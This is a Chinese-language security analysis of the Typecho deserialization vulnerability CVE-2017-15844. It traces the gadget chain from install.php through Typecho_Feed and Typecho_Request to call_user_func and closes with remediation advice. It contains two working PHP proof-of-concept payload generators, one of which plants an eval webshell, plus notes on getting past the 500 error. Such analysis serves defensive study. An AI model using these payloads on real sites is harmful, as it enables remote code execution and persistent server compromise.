Typecho反序列化漏洞分析
字数 913 2025-08-05 12:50:18
Typecho反序列化漏洞分析与利用
漏洞概述
Typecho是一款轻量级的开源博客系统,在2017年10月24日之前的所有版本中存在一个反序列化漏洞(CVE-2017-15844),攻击者可以通过精心构造的序列化数据实现远程代码执行。
影响范围
- 2017年10月24日之前的所有Typecho版本
环境搭建
- 下载受影响版本(如1.0.14)
- 手动创建Typecho数据库
- 安装Typecho系统
漏洞分析
漏洞入口点
漏洞位于install.php文件的第246行:
$config = unserialize(base64_decode(Typecho_Cookie::get('__typecho_config')));
这里从cookie中获取__typecho_config值,进行base64解码后反序列化。
关键调用链
-
反序列化触发点:
install.php中的unserialize()调用- 通过
Typecho_Cookie::get()获取可控输入
-
Typecho_Db类实例化:
$installDb = new Typecho_Db($config['adapter'], $config['prefix']);$config['adapter']完全可控
-
__toString()触发:
- 当
$config['adapter']设置为一个对象时,会调用该对象的__toString()方法
- 当
-
魔术方法调用链:
install.php::__typecho_config => Db.php::Typecho_Db => Feed.php::Typecho_Feed::__toString() => Request.php::Typecho_Request::__get() => Request.php::get() => Request.php::applyFilter() => call_user_func()
关键魔术方法
-
__toString():
- 在
Typecho_Feed类中定义 - 当对象被当作字符串使用时自动调用
- 在
-
__get():
- 在
Typecho_Request类中定义 - 当访问不可访问属性时自动调用
- 在
-
最终利用点:
call_user_func()函数,通过可控的$_filter和$_params实现任意代码执行
漏洞利用
基本利用POC
<?php
class Typecho_Request{
private $_params = array();
private $_filter = array();
public function __construct(){
$this->_filter[0]='assert';
$this->_params['sceenName']='phpinfo()';
}
}
class Typecho_Feed{
const RSS2 = 'RSS 2.0';
private $_type;
private $_items = array();
public function __construct(){
$this->_type = self::RSS2;
$this->_items['0']=array(
'author'=>new Typecho_Request(),
);
}
}
$a = new Typecho_Feed();
$b = array(
'adapter' => $a,
'prefix' => 'typecho_'
);
echo urlencode(base64_encode(serialize($b)));
?>
绕过500错误的方法
- 方法一:通过设置数组控制第二次执行的函数并触发exit
- 方法二:在命令执行后造成报错强制停止执行
写入Webshell的POC
<?php
class Typecho_Request
{
private $_filter = array();
private $_params = array();
public function __construct(){
$this->_filter[0] = 'assert';
$this->_params['screenName'] = 'file_put_contents("shell.php", "<?php @eval(\$_POST[w0s1np]); ?>")';
}
}
class Typecho_Feed
{
const RSS2 = 'RSS 2.0';
private $_type;
private $_items = array();
public function __construct(){
$this->_type = self::RSS2;
$this->_items[0] = array(
'author' => new Typecho_Request(),
);
}
}
$final = new Typecho_Feed();
$poc = array(
'adapter' => $final,
'prefix' => 'typecho_'
);
echo urlencode(base64_encode(serialize($poc)));
?>
修复建议
- 升级到最新版本的Typecho
- 对反序列化的输入进行严格校验
- 在安装完成后删除install.php文件
总结
该漏洞利用链复杂但有效,通过精心构造的反序列化数据,攻击者可以实现远程代码执行。漏洞的关键在于Typecho对用户输入的反序列化操作缺乏足够的安全检查,以及多个魔术方法的配合使用形成了完整的攻击链。